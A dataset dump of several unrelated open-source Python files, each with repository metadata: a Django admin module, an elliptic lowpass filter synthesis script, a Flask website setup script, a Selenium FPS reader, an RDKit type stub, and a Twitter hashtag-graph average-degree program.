5b12b1bd49fc0354724fe8042ed1ea08c9fdf445 | 48cf62ee3f02e5a75ba8ee1636bc1638c6aa280e | /bookstore_app/api/admin.py | 558407e4dbd17070c07db3776dc60a4aff0a6a43 | [] | no_license | laver0ck/django-rest-api | 5f1aadd1b698da0a65101e93d47f3b03322e7f7d | c36cebe803e00468696c628a8d7fa5a83dcb4ee8 | refs/heads/master | 2022-05-27T14:45:52.919468 | 2022-03-30T16:08:24 | 2022-03-30T16:08:24 | 247,084,772 | 0 | 0 | null | 2022-03-30T16:08:25 | 2020-03-13T14:02:30 | Python | UTF-8 | Python | false | false | 150 | py | from django.contrib import admin
from .models import Author, Book
# Register your models here.
admin.site.register(Author)
admin.site.register(Book)
| [
"[email protected]"
] | |
b892b451c4daa026deee8a8be6f8c49e7776ee1c | 27e57e395cf30339ee96a91a751eba49de068ec9 | /deprecated/cauer_even_attempt3.py | 08be9031aa148b20b12e3b6c11f43c397f177da2 | [] | no_license | frankih9/Saal-Ulbrich | f839689a379544b4ad5162e9f6b0047cbf2ab85a | 342af6c15d31981c81777e307702f6d1c6445919 | refs/heads/master | 2020-06-24T13:33:00.020562 | 2019-07-26T08:46:41 | 2019-07-26T08:46:41 | 198,975,689 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,588 | py | import numpy as np
import scipy.special as ss
import matplotlib.pyplot as plt
#The example of elliptical lowpass prototype synthesis procedure
#from Saal and Ulbricht(SU) is realized in this script
n=4 #number of section
p=0.2 #reflection coefficient of filter
#p=0.333333
theta_deg = 46
#w_s=2.790428 #normalized stopband frequency
#odd=n%2
#theta=math.asin(1/w_s) #rad
theta = theta_deg*np.pi/180
m=n//2 #EQN(37) p294
#complete elliptic integral of the 1st kind K modulus k=sin(theta)
#In scipy library: ellipk(u,m) where m = k^2
K=ss.ellipk(pow(np.sin(theta),2))
a=np.array([1]) #a[0] is filled with 1 so indices of a[] complies with SU
for v in range(1,n):
u=K*v/n
#EQN(38) notates sn(u,theta)
#In scipy library: sn(u,m) where m = sin^2(theta)
e_functs=ss.ellipj(u, pow(np.sin(theta),2))
sn=e_functs[0]
a=np.append(a, np.sqrt(np.sin(theta))*sn)
a=np.append(a, np.sqrt(np.sin(theta)))
#EQN(44) for n even case b page 295-296
w = np.sqrt((1-(a[1]**2)*(a[n]**2))*(1-(a[1]/a[n])**2))
bP=np.array([1])
bS=np.array([1])
for v in range(1,n):
bP = np.append(bP, np.sqrt(w/(a[v]**-2 - a[1]**2)))
bS = np.append(bS, np.sqrt((a[v]**2 - a[1]**2)/w))
bn = np.sqrt(a[n]*a[n-1])
#EQN(39) for n even
delta_b = 1
for u in range(1,m+1):
delta_b *= bP[2*u-1]**2
#c calculation from page 304
c = 1/(delta_b*np.sqrt(1/(p**2) - 1))
#EQN(37) expand for n even
F = np.array([1, 0, (bP[1]**2)])
P = np.array([1/c])
for u in range(2,m+1):
F = np.polymul(F, np.array([1, 0, bP[2*u-1]**2]))
P = np.polymul(P, np.array([bS[2*u-1]**2, 0, 1]))
#Generate F(jw)*F(-jw) and P(jw)*p(-jw) for n even
#nF=np.copy(F)
#nF[0:-1:4]=nF[0:-1:4]*-1
FnF = np.polymul(F, F)
#nP=np.copy(P)
#nP[2]=nP[2]*-1
PnP = np.polymul(P, P)
#test plot of transfer function
w = np.linspace(0.1,10,num=1000)
lamb = 1j*w*bn
#lamb = w*bn
Kn2 = np.polyval(FnF,lamb)
Kd2 = np.polyval(PnP,lamb)
K2 = np.real(Kn2)/np.real(Kd2)
S21 = (1/(1+K2))
S21_dB = 10*np.log10(S21)
S11 = 1-S21
S11_dB = 10*np.log10(S11)
plt.clf()
plt.plot(w,S21_dB)
plt.plot(w,S11_dB)
plt.grid()
#plt.show()
#Element extraction
#Form (E)(nE)=(F)(nF)+(P)(nP). Page 287. EQN(14), EQN(15)
EnE = np.polyadd(FnF,PnP)
#for n=even
E = np.array([1])
for root in np.roots(EnE):
if np.real(root) < 0:
#print(root)
E = np.polymul(E, np.array([1, -1*root]))
E = np.real(E)
#print(E)
#zout = (1-p)/(1+p)
zout = (1+p)/(1-p)
t = np.sqrt(1/zout)
pc = 2/(t+1/t)
MnM = np.polysub(EnE,(pc**2)*PnP)
M = np.array([1])
for root in np.roots(MnM):
if np.real(root) < 0:
#print(root)
M = np.polymul(M, np.array([1, -1*root]))
M = np.real(M)
# #Form X1o for n=even
# Ee=np.copy(E)
# Eo=np.copy(E)
# Fe=np.copy(F)
# Fo=np.copy(F)
# for i in range(len(Ee)):
# if i%2==0:
# Eo[i]=0
# Fo[i]=0
# else:
# Ee[i]=0
# Fe[i]=0
# Eo=Eo[1:]
# Fo=Fo[1:]
# X1On=np.polysub(Ee,Fe)
# X1On = X1On[2:]
# X1Od=np.polyadd(Eo,Fo)
#Form X1o for n=even
Ee=np.copy(E)
Eo=np.copy(E)
Me=np.copy(M)
Mo=np.copy(M)
for i in range(len(Ee)):
if i%2==0:
Eo[i]=0
Mo[i]=0
else:
Ee[i]=0
Me[i]=0
Eo=Eo[1:]
Mo=Mo[1:]
X1On=np.polyadd(Ee,Me)
#X1On = X1On[2:]
X1Od=np.polyadd(Eo,Mo)
#sort and organize transmission zeros for finite poles for synthesis
#According SU p296, finite pole frequencies closest to the bandedge should
#be placed in the middle of the filter to avoid negative components.
bz = np.array([])
for u in range(2,m+1):
bz = np.append(bz, np.array([bS[2*u-1]]))
#bz = np.append(bz,np.inf)
tz=1/(np.sort(bz))
tzo=tz[::2]
tzo=np.append(tzo,np.sort(tz[1::2]))
#pad zeroes into tzo so the indices match SU
tzop=np.array([0])
for z in tzo:
tzop=np.append(tzop,[0,z])
caps=np.array([])
inds=np.array([])
omega=np.array([])
B_num=np.copy(X1On)
B_den=np.copy(X1Od)
print('B1 numerator: ', B_num)
print('B1 denominator: ', B_den)
print(' ')
#element extraction SU p306
index=2
while index < n:
#shunt removal
BdivL_num = B_num[:-1] #B divided by lambda when constant term of B is 0
BdivL_num_eval = np.polyval(BdivL_num, 1j*tzop[index])
BdivL_den_eval = np.polyval(B_den, 1j*tzop[index])
c = BdivL_num_eval/BdivL_den_eval
#update component and frequency list
caps = np.append(caps, np.real(c)*bn)
omega = np.append(omega,[0])
inds = np.append(inds,[0])
#update polynomila B
Lc = np.array([np.real(c), 0]) #lambda*c(extracted)
B_num = np.polysub(B_num, np.polymul(Lc, B_den))
#B_den = np.copy(B_den)
print('B2 numerator: ', B_num)
print('B2 denominator: ', B_den)
print(' ')
#series removal
temp_n = np.polymul(np.array([1,0]), B_num)
print(np.roots(temp_n))
print(np.roots(np.array([1,0,tzop[index]**2])))
print(np.polydiv(temp_n, np.array([1,0,tzop[index]**2])))
print(' ')
temp_n = np.polydiv(temp_n, np.array([1,0,tzop[index]**2]))[0]
print(temp_n)
temp_ne = np.polyval(temp_n, 1j*tzop[index])
print(temp_ne)
temp_de = np.polyval(B_den, 1j*tzop[index])
print(temp_de)
c = temp_ne/temp_de
caps=np.append(caps,np.real(c)*bn)
w=tzop[index]/bn
omega=np.append(omega,[w])
inds=np.append(inds,[1/(w)**2/(np.real(c)*bn)])
#update polynomial B
temp1=np.polymul(B_den,np.array([1,0,tzop[index]**2]))
temp2=np.polymul(B_num,np.array([1/np.real(c),0]))
B_den=np.polysub(temp1,temp2)
B_num=np.polymul(B_num,np.array([1,0,tzop[index]**2]))
print('B3 numerator: ', B_num)
print('B3 denominator: ', B_den)
print(' ')
index+=2
#shunt removal
BdivL_num = B_num[:-1] #B divided by lambda when constant term of B is 0
BdivL_num_eval = BdivL_num[0]
BdivL_den_eval = B_den[0]
c = BdivL_num_eval/BdivL_den_eval
caps=np.append(caps, np.real(c)*bn)
inds=np.append(inds, [0])
Lc = np.array([np.real(c), 0]) #lambda*c(extracted)
B_num = np.polysub(B_num, np.polymul(Lc, B_den))
print('B4 numerator: ', B_num)
print('B4 denominator: ', B_den)
print(' ')
# #see table 4.4 page 129 in Zverev for X2O
# l = (Ee[0]+Fe[0])/(Eo[0]+Fo[0])
# caps=np.append(caps, 0)
# inds=np.append(inds, l*bn*zout)
# print caps
# print inds
print(caps)
print(inds) | [
"[email protected]"
] | |
dab3aceadd82540d7c1285e224b42617455cbf15 | d1c225f35abd7f7bd8c2d8210b49a52d12ebabd0 | /setup.py | 02d3378cbbc0762a2624de210e827b1e972fae55 | [
"MIT"
] | permissive | koivunen/utu-vm-site | 1abdbcbfe69d1328726b9325d836b876bb0c66dc | 3f805597cdb1c4d4a5564c0f0a9d54b1b9c65581 | refs/heads/master | 2020-12-19T01:15:00.480370 | 2020-01-21T22:27:14 | 2020-01-21T22:27:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 18,137 | py | #! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Turku University (2020) Department of Future Technologies
# Course Virtualization / Website
# Flask Application setup
#
# setup.py - Jani Tammi <[email protected]>
#
# 0.1.0 2020-01-01 Initial version
# 0.2.0 2020-01-02 Import do_or_die() from old scripts
# 0.3.0 2020-01-02 Add database creation
# 0.4.0 2020-01-02 Add overwrite/force parameter
# 0.5.0 2020-01-02 Add cron job create
# 0.6.0 2020-01-02 Add cron job detection and removal
# 0.7.0 2020-01-02 Fix do_or_die() to handle script input
# 0.8.0 2020-01-02 Add stdout and stderr output to do_or_die()
# 0.8.1 2020-01-08 Add download config items into flask app instance file
#
#
# REQUIRES ROOT PRIVILEGES TO RUN!
#
# WARNING! This is raspberry pi specific currently because the file ownership
# is specifically 'pi' for new files (see dictionary 'files').
# Someday, this should be configurable as "developer" or
# "maintainer".
#
# .config for this script
# You *must* have "[System]" section at the beginning of the file.
# You make write any or all the key = value properties you find in the
# 'details' dictionary's sub-dictionaries.
# NOTE: Boolean values are problematic. I haven't decided how to handle
# them yet... For parameters that get written out to the instance
# configuration file, they are fine - because they will be written
# as strings anyway.
# BUT(!!) for 'overwrite' this is an unsolved issue.
#
# Requires Python 3.7+ (as does the Flask application)
REQUIRE_PYTHON_VER = (3, 7)
import re
import os
import sys
# Python 3.7 or newer
if sys.version_info < REQUIRE_PYTHON_VER:
import platform
print(
"You need Python {}.{} or newer! ".format(
REQUIRE_PYTHON_VER[0],
REQUIRE_PYTHON_VER[1]
),
end = ""
)
print(
"You have Python ver.{} on {} {}".format(
platform.python_version(),
platform.system(),
platform.release()
)
)
print(
"Are you sure you did not run 'python {}' instead of".format(
os.path.basename(__file__)
),
end = ""
)
print(
"'python3 {}' or './{}'?".format(
os.path.basename(__file__),
os.path.basename(__file__)
)
)
os._exit(1)
# PEP 396 -- Module Version Numbers https://www.python.org/dev/peps/pep-0396/
__version__ = "0.8.1"
__author__ = "Jani Tammi <[email protected]>"
VERSION = __version__
HEADER = """
=============================================================================
University of Turku, Department of Future Technologies
Course Virtualization Project
vm.utu.fi Setup Script
Version {}, 2020 {}
""".format(__version__, __author__)
import pwd
import grp
import logging
import sqlite3
import argparse
import subprocess
import configparser
# vm.utu.fi project folder
# This script is in the project root, so we get the path to this script
ROOTPATH = os.path.split(os.path.realpath(__file__))[0]
defaults = {
'choices': ['DEV', 'UAT', 'PRD'],
'common': {
'mode': 'PRD',
'upload_folder': '/var/www/vm.utu.fi/unpublished',
'upload_allowed_ext': ['ova', 'zip', 'img'],
'download_folder': '/var/www/downloads',
'download_urlpath': '/x-accel-redirect/',
'sso_cookie': 'ssoUTUauth',
'sso_session_api': 'https://sso.utu.fi/sso/json/sessions/',
'overwrite': False
},
'DEV': {
'mode': 'DEV',
'debug': True,
'explain_template_loading': True,
'log_level': 'DEBUG',
'session_lifetime': 1,
'overwrite': True
},
'UAT': {
'mode': 'UAT',
'debug': False,
'explain_template_loading': False,
'log_level': 'INFO',
'session_lifetime': 30
},
'PRD': {
'mode': 'PRD',
'debug': False,
'explain_template_loading': False,
'log_level': 'ERROR',
'session_lifetime': 30,
'overwrite': False
}
}
cronjobs = {
'remove failed uploads': '/cron.job/remove-failed-uploads.py',
'calculate SHA1 checksums': '/cron.job/calculate-checksum.py'
}
class ConfigFile:
"""As everything in this script, assumes superuser privileges. Only filename and content are required. User and group will default to effective user and group values on creation time and permissions default to common text file permissions wrxwr-wr- (0o644).
Properties:
name str Full path and name
owner str Username ('pi', 'www-data', etc)
group str Group ('pi', ...)
uid int User ID
gid int Group ID
permissions int File permissions. Use octal; 0o644
content str This class was written to handle config files
Once properties and content are satisfactory, write the file to disk:
myFile = File(...)
myFile.create(overwrite = True)
If you wish the write to fail when the target file already exists, just leave out the 'overwrite'.
"""
def __init__(
self,
name: str,
content: str,
owner: str = None,
group: str = None,
permissions: int = 0o644
):
# Default to effective UID/GID
owner = pwd.getpwuid(os.geteuid()).pw_name if not owner else owner
group = grp.getgrgid(os.getegid()).gr_name if not group else group
self.name = name
self._owner = owner
self._group = group
self._uid = pwd.getpwnam(owner).pw_uid
self._gid = grp.getgrnam(group).gr_gid
self.permissions = permissions
self.content = content
def create(self, overwrite = False, createdirs = True):
def createpath(path, uid, gid, permissions = 0o775):
"""Give path part only as an argument"""
head, tail = os.path.split(path)
if not tail:
head, tail = os.path.split(head)
if head and tail and not os.path.exists(head):
try:
createpath(head)
except FileExistsError:
pass
cdir = os.curdir
if isinstance(tail, bytes):
cdir = bytes(os.curdir, 'ASCII')
if tail == cdir:
return
try:
os.mkdir(path, permissions)
# This is added - ownership equal to file ownership
os.chown(path, uid, gid)
except OSError:
if not os.path.isdir(path):
raise
# Begin create()
if createdirs:
path = os.path.split(self.name)[0]
if path:
createpath(path, self._uid, self._gid)
#os.makedirs(path, exist_ok = True)
mode = "x" if not overwrite else "w+"
with open(self.name, mode) as file:
file.write(self.content)
os.chmod(self.name, self.permissions)
os.chown(self.name, self._uid, self._gid)
def replace(self, key: str, value: str):
self.content = self.content.replace(key, value)
@property
def owner(self) -> str:
return self._owner
@owner.setter
def owner(self, name: str):
self._uid = pwd.getpwnam(name).pw_uid
self._owner = name
@property
def group(self) -> str:
return self._group
@group.setter
def group(self, name: str):
self._gid = grp.getgrnam(name).gr_gid
self._group = name
@property
def uid(self) -> int:
return self._uid
@uid.setter
def uid(self, uid: int):
self._uid = uid
self._owner = pwd.getpwuid(uid).pw_name
@property
def gid(self) -> int:
return self._gid
@gid.setter
def gid(self, gid: int):
self._gid = gid
self._group = grp.getgrgid(gid).gr_name
def __str__(self):
return "{} {}({}).{}({}) {} '{}'". format(
oct(self.permissions),
self._owner, self._uid,
self._group, self._gid,
self.name,
(self.content[:20] + '..') if len(self.content) > 20 else self.content
)
files = {}
files['application.conf'] = ConfigFile(
ROOTPATH + '/instance/application.conf',
"""
# -*- coding: utf-8 -*-
#
# Turku University (2019) Department of Future Technologies
# Website for Course Virtualization Project
# Flask application configuration
#
# application.conf - Jani Tammi <[email protected]>
#
# 0.1.0 2019.12.07 Initial version.
# 0.2.0 2019.12.23 Updated for SSO implementation.
# 0.3.0 2020.01.01 Generated format.
# 0.4.0 2020.01.08 Download configuration items added.
#
#
# See https://flask.palletsprojects.com/en/1.1.x/config/ for details.
#
#
import os
DEBUG = {{debug}}
EXPLAIN_TEMPLATE_LOADING = {{explain_template_loading}}
TOP_LEVEL_DIR = os.path.abspath(os.curdir)
BASEDIR = os.path.abspath(os.path.dirname(__file__))
SESSION_COOKIE_NAME = 'FLASKSESSION'
SESSION_LIFETIME = {{session_lifetime}}
SECRET_KEY = {{secret_key}}
#
# Single Sign-On session validation settings
#
SSO_COOKIE = '{{sso_cookie}}'
SSO_SESSION_API = '{{sso_session_api}}'
#
# Flask app logging
#
LOG_FILENAME = 'application.log'
LOG_LEVEL = '{{log_level}}'
#
# SQLite3 configuration
#
SQLITE3_DATABASE_FILE = 'application.sqlite3'
#
# File upload and download
#
UPLOAD_FOLDER = '{{upload_folder}}'
UPLOAD_ALLOWED_EXT = {{upload_allowed_ext}}
DOWNLOAD_FOLDER = '{{download_folder}}'
DOWNLOAD_URLPATH = '{{download_urlpath}}'
# EOF
""",
'pi', 'www-data'
)
def cronjob_exists(job: str) -> bool:
pipe = subprocess.Popen(
'crontab -l 2> /dev/null',
shell = True,
stdout = subprocess.PIPE
)
for line in pipe.stdout:
if job in line.decode('utf-8'):
return True
return False
def file_exists(file: str) -> bool:
"""Accepts path/file or file and tests if it exists (as a file)."""
if os.path.exists(file):
if os.path.isfile(file):
return True
return False
def do_or_die(
cmd: str,
shell: bool = False,
stdout = subprocess.DEVNULL,
stderr = subprocess.DEVNULL
):
"""call do_or_die("ls", out = None), if you want output. Alternatively, subprocess.PIPE will also work. If subprocess.PIPE is given, output is returned."""
if not shell:
# Set empty double-quotes as empty list item
# Required for commands like; ssh-keygen ... -N ""
cmd = ['' if i == '""' or i == "''" else i for i in cmd.split(" ")]
prc = subprocess.run(
cmd,
shell = shell,
stdout = stdout,
stderr = stderr
)
if prc.returncode:
raise ValueError(
f"code: {prc.returncode}, command: '{cmd}'"
)
# Return output (stdout, stderr)
return (
prc.stdout.decode("utf-8") if stdout == subprocess.PIPE else None,
prc.stderr.decode("utf-8") if stderr == subprocess.PIPE else None
)
##############################################################################
#
# MAIN
#
##############################################################################
if __name__ == '__main__':
#
# Commandline arguments
#
parser = argparse.ArgumentParser(
description = HEADER,
formatter_class = argparse.RawTextHelpFormatter
)
parser.add_argument(
'-m',
'--mode',
help = "Instance mode. Default: '{}'".format(
defaults['common']['mode']
),
choices = defaults['choices'],
dest = "mode",
default = defaults['common']['mode'],
type = str.upper,
metavar = "MODE"
)
parser.add_argument(
'--config',
help = "Configuration file.",
dest = "config_file",
metavar = "CONFIG_FILE"
)
parser.add_argument(
'-q',
'--quiet',
help = 'Do not display messages.',
action = 'store_true',
dest = 'quiet'
)
parser.add_argument(
'-f',
'--force',
help = 'Overwrite existing files.',
action = 'store_true',
dest = 'force'
)
args = parser.parse_args()
#
# Require root user
# Checked here so that non-root user can still get help displayed
#
if os.getuid() != 0:
parser.print_help(sys.stderr)
print("ERROR: root privileges required!")
print(
"Use: 'sudo {}' (alternatively 'sudo su -' or 'su -')".format(
App.Script.name
)
)
os._exit(1)
#
# Read config file, if specified
#
if args.config_file:
cfgfile = configparser.ConfigParser()
if file_exists(args.config_file):
try:
cfgfile.read(args.config_file)
except Exception as e:
print("read-config():", e)
os._exit(-1)
#finally:
# print({**cfgfile['System']})
else:
print(f"Specified config file '{args.config_file}' does not exist!")
os._exit(-1)
else:
cfgfile = {'System': {}}
#
# Combine configuration values
#
cfg = {**defaults['common'], **defaults[args.mode], **cfgfile['System']}
# Add special value; generated SECRET_KEY
cfg['secret_key'] = os.urandom(24)
# Unfortunately, argparse object cannot be merged (it's not a dictionary)
if args.force:
# Could not test against None, as the 'action=store_true' means that
# this option value is ALWAYS either True or False
cfg['overwrite'] = args.force
# TODO: REMOVE THIS DEV TIME PRINT
#from pprint import pprint
#pprint(cfg)
#
# Set up logging
#
logging.basicConfig(
level = logging.INFO,
filename = "setup.log",
format = "%(asctime)s.%(msecs)03d %(levelname)s: %(message)s",
datefmt = "%H:%M:%S"
)
log = logging.getLogger()
if not args.quiet:
log.addHandler(logging.StreamHandler(sys.stdout))
try:
#
# Create instance config
#
log.info("Creating configuration file for Flask application instance")
for key, value in cfg.items():
files['application.conf'].replace(
'{{' + key + '}}',
str(value)
)
# Write out the file
files['application.conf'].create(overwrite = cfg['overwrite'])
#
# Create application.sqlite3
#
script_file = ROOTPATH + '/create.sql'
devscript_file = ROOTPATH + '/insert_dev.sql'
database_file = ROOTPATH + '/application.sqlite3'
log.info("Creating application database")
# Because sqlite3.connect() has no open mode parameters
if cfg['overwrite']:
os.remove(database_file)
with open(script_file, "r") as file, \
sqlite3.connect(database_file) as db:
script = file.read()
cursor = db.cursor()
try:
cursor.executescript(script)
db.commit()
except Exception as e:
log.exception(str(e))
log.error("SQL script failed!")
raise
finally:
cursor.close()
#
# Insert Development Data (for DEV setup)
#
if cfg['mode'] == 'DEV':
with open(devscript_file, "r") as file, \
sqlite3.connect(database_file) as db:
script = file.read()
cursor = db.cursor()
try:
cursor.executescript(script)
db.commit()
except Exception as e:
log.exception(str(e))
log.error("SQL script failed!")
raise
finally:
cursor.close()
# TODD: MUST change into (current usert).www-data!!
do_or_die("chown pi.www-data " + database_file)
do_or_die("chmod 664 " + database_file)
#
# Create cron jobs
#
# */5 * * * * Every 5 minutes
for title, script in cronjobs.items():
if cronjob_exists(script):
log.error(f"Job '{title}' already exists")
if cfg['overwrite']:
do_or_die(
f"crontab -l 2>/dev/null | grep -v '{script}' | crontab -",
shell = True
)
log.info(f"Pre-existing job '{title}' removed")
else:
raise ValueError(
f"Job '{script}' already exists!"
)
log.info(f"Creating cron job to {title}")
script = ROOTPATH + script
#script += " -with args"
script += " >/dev/null 2>&1"
cmd = f'(crontab -l 2>/dev/null; echo "*/5 * * * * {script}") | crontab -'
do_or_die(cmd, shell = True)
except Exception as e:
msg = "SETUP DID NOT COMPLETE SUCCESSFULLY!"
if args.quiet:
print(msg)
print(str(e))
else:
log.exception(msg)
else:
log.info("Setup completed successfully!")
# EOF
| [
"[email protected]"
] | |
cad5c7d18370b15612b9808ea639f40b7457f823 | ca63a7b8411abf53e8da663c5e24d6089bfa12d7 | /GetFPS_webGL/FPSDriver.py | ea5209562e3b348636735cc192ad920c1cdb5169 | [] | no_license | seyeon625/ztt | 015b7fdcd70f73eb1a5134d06a728ee7d242f4cc | ed5192d2680dc308d49930cf47e8e32259ea087c | refs/heads/master | 2022-11-24T13:01:49.965537 | 2020-07-30T05:47:23 | 2020-07-30T05:47:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 609 | py | from selenium import webdriver
from selenium.webdriver.common.by import By
'''
Example:
fps_driver = FPSDriver("./chromedriver")
aquarium_url = "https://webglsamples.org/aquarium/aquarium.html"
fps_driver.open_page(aquarium_url)
while True:
fps = fps_driver.get_fps()
print("FPS: " + fps)
time.sleep(1)
'''
class FPSDriver:
def __init__(self, driver_path):
self.driver_path = driver_path
self.driver = webdriver.Chrome(self.driver_path)
def open_page(self, url):
self.driver.get(url)
def get_fps(self):
fps_box = self.driver.find_element(By.ID, "fps")
return fps_box.text
| [
"[email protected]"
] | |
c89b1f3c10a9e8a8eb859e12812096ef775d66df | 6c8b3ef3b6a3e77ee9a3cc56898217654b043154 | /typings/rdkit/Chem/SaltRemover.pyi | e5afac75779c3dc7002294ea49a0025615d73634 | [
"MIT"
] | permissive | Andy-Wilkinson/ChemMLToolkit | 8a1eb24ab317c470bc89efa206e38734cb83a7d2 | 83efc7ea66d2def860a3e04ccd70d77fb689fddc | refs/heads/main | 2021-12-26T04:44:05.566942 | 2021-12-13T21:59:57 | 2021-12-13T21:59:57 | 171,165,863 | 2 | 2 | MIT | 2021-12-13T17:18:30 | 2019-02-17T20:00:01 | Python | UTF-8 | Python | false | false | 3,733 | pyi | """
This type stub file was generated by pyright.
"""
class InputFormat:
SMARTS = ...
MOL = ...
SMILES = ...
class SaltRemover:
defnFilename = ...
def __init__(self, defnFilename=..., defnData=..., defnFormat=...) -> None:
...
def StripMol(self, mol, dontRemoveEverything=...):
"""
>>> remover = SaltRemover(defnData="[Cl,Br]")
>>> len(remover.salts)
1
>>> mol = Chem.MolFromSmiles('CN(C)C.Cl')
>>> res = remover.StripMol(mol)
>>> res is not None
True
>>> res.GetNumAtoms()
4
Notice that all salts are removed:
>>> mol = Chem.MolFromSmiles('CN(C)C.Cl.Cl.Br')
>>> res = remover.StripMol(mol)
>>> res.GetNumAtoms()
4
Matching (e.g. "salt-like") atoms in the molecule are unchanged:
>>> mol = Chem.MolFromSmiles('CN(Br)Cl')
>>> res = remover.StripMol(mol)
>>> res.GetNumAtoms()
4
>>> mol = Chem.MolFromSmiles('CN(Br)Cl.Cl')
>>> res = remover.StripMol(mol)
>>> res.GetNumAtoms()
4
Charged salts are handled reasonably:
>>> mol = Chem.MolFromSmiles('C[NH+](C)(C).[Cl-]')
>>> res = remover.StripMol(mol)
>>> res.GetNumAtoms()
4
Watch out for this case (everything removed):
>>> remover = SaltRemover()
>>> len(remover.salts)>1
True
>>> mol = Chem.MolFromSmiles('CC(=O)O.[Na]')
>>> res = remover.StripMol(mol)
>>> res.GetNumAtoms()
0
dontRemoveEverything helps with this by leaving the last salt:
>>> res = remover.StripMol(mol,dontRemoveEverything=True)
>>> res.GetNumAtoms()
4
but in cases where the last salts are the same, it can't choose
between them, so it returns all of them:
>>> mol = Chem.MolFromSmiles('Cl.Cl')
>>> res = remover.StripMol(mol,dontRemoveEverything=True)
>>> res.GetNumAtoms()
2
"""
...
def StripMolWithDeleted(self, mol, dontRemoveEverything=...): # -> StrippedMol:
"""
Strips given molecule and returns it, with the fragments which have been deleted.
>>> remover = SaltRemover(defnData="[Cl,Br]")
>>> len(remover.salts)
1
>>> mol = Chem.MolFromSmiles('CN(C)C.Cl.Br')
>>> res, deleted = remover.StripMolWithDeleted(mol)
>>> Chem.MolToSmiles(res)
'CN(C)C'
>>> [Chem.MolToSmarts(m) for m in deleted]
['[Cl,Br]']
>>> mol = Chem.MolFromSmiles('CN(C)C.Cl')
>>> res, deleted = remover.StripMolWithDeleted(mol)
>>> res.GetNumAtoms()
4
>>> len(deleted)
1
>>> deleted[0].GetNumAtoms()
1
>>> Chem.MolToSmarts(deleted[0])
'[Cl,Br]'
Multiple occurrences of 'Cl' and without tuple destructuring
>>> mol = Chem.MolFromSmiles('CN(C)C.Cl.Cl')
>>> tup = remover.StripMolWithDeleted(mol)
>>> tup.mol.GetNumAtoms()
4
>>> len(tup.deleted)
1
>>> tup.deleted[0].GetNumAtoms()
1
>>> Chem.MolToSmarts(deleted[0])
'[Cl,Br]'
"""
...
def __call__(self, mol, dontRemoveEverything=...):
"""
>>> remover = SaltRemover(defnData="[Cl,Br]")
>>> len(remover.salts)
1
>>> Chem.MolToSmarts(remover.salts[0])
'[Cl,Br]'
>>> mol = Chem.MolFromSmiles('CN(C)C.Cl')
>>> res = remover(mol)
>>> res is not None
True
>>> res.GetNumAtoms()
4
"""
...
if __name__ == '__main__':
...
| [
"[email protected]"
] | |
c56f5d4da0b5718d1b01b561b37be3ed9d594705 | 1461c17eaa42d18be3d017d6941ede83290d95c8 | /src/average_degree.py | 91aaa7c6c7437dbf6add878df83d0d5d02ceaf80 | [] | no_license | Sticksword/coding-challenge | 19c10f96999fd0300fcc20809e4bffc84404feb3 | 568f7927450a409307cf7094103679223b3e4a83 | refs/heads/master | 2021-01-18T01:37:05.152814 | 2016-04-08T07:09:27 | 2016-04-08T07:09:27 | 55,464,890 | 1 | 0 | null | 2016-04-05T03:31:05 | 2016-04-05T03:31:05 | null | UTF-8 | Python | false | false | 3,415 | py | import json
import sys
import itertools
from datetime import datetime, timedelta
import heapq
import math
months = {
'Jan': 1,
'Feb': 2,
'Mar': 3,
'Apr': 4,
'May': 5,
'Jun': 6,
'Jul': 7,
'Aug': 8,
'Sep': 9,
'Oct': 10,
'Nov': 11,
'Dec': 12
}
class Tweet:
def __init__(self, text):
tweet_dict = json.loads(text)
date = str(tweet_dict['created_at']).split(' ')
# eg. Tue Mar 29 06:04:50 +0000 2016
# *** Important: Under assumption that it is always +0000 timezone ***
time = date[3].split(':')
self.timestamp = datetime(int(date[5]), months[date[1]], int(date[2]), int(time[0]), int(time[1]), int(time[2]))
self.hashtags = []
for data in tweet_dict['entities']['hashtags']:
self.hashtags.append(data['text'].lstrip('#'))
def get_timestamp(self):
return self.timestamp
def get_hashtags(self):
return self.hashtags
def get_hashtag_combinations(self):
return itertools.combinations(self.hashtags, 2)
class Graph:
def __init__(self):
self.graph = {}
def add_double_edge(self, edge):
self.graph.setdefault(edge[0], set())
self.graph[edge[0]].add(edge[1])
self.graph.setdefault(edge[1], set())
self.graph[edge[1]].add(edge[0])
def link_hashtags(self, tweet):
for edge in tweet.get_hashtag_combinations():
self.add_double_edge(edge)
def remove_edge(self, edge):
if edge[0] in self.graph[edge[1]]:
self.graph[edge[1]].remove(edge[0])
if edge[1] in self.graph[edge[0]]:
self.graph[edge[0]].remove(edge[1])
def unlink_hashtags(self, tweet):
for edge in tweet.get_hashtag_combinations():
self.remove_edge(edge)
def average_degree(self):
degree_sum = 0
number_of_nodes = 0
for node, edge_set in self.graph.iteritems():
degree_sum += len(edge_set)
if len(edge_set) > 0:
number_of_nodes += 1
if number_of_nodes == 0:
return '%.2f' % 0.0
else:
# return float(degree_sum) / number_of_nodes # ok this doesn't work because of rounding issues
# format into 3 places, then chop off that extra digit
values = str('%.3f' % (float(degree_sum) / number_of_nodes)).split('.')
return values[0] + '.' + values[1][:2]
if __name__ == "__main__":
with open(sys.argv[1]) as input_file, open(sys.argv[2], 'w') as output_file:
window = []
graph = Graph()
tweet = Tweet(input_file.readline().strip())
latest_time = tweet.get_timestamp()
earliest_time = latest_time - timedelta(0, 60)
graph.link_hashtags(tweet)
output_file.write('{}\n'.format(graph.average_degree()))
for line_number, content in enumerate(input_file):
try:
tweet = Tweet(content)
except Exception as e:
# print e # throw out all 'limit' json objects (not tweets)
continue
if tweet.get_timestamp() > latest_time:
latest_time = tweet.get_timestamp()
earliest_time = latest_time - timedelta(0, 60)
if tweet.get_timestamp() <= earliest_time:
output_file.write('{}\n'.format(graph.average_degree()))
continue
heapq.heappush(window, (tweet.get_timestamp(), tweet))
graph.link_hashtags(tweet)
while len(window) > 0 and window[0][0] < earliest_time:
(time, old_tweet) = heapq.heappop(window)
graph.unlink_hashtags(old_tweet)
output_file.write('{}\n'.format(graph.average_degree()))
| [
"[email protected]"
] | |
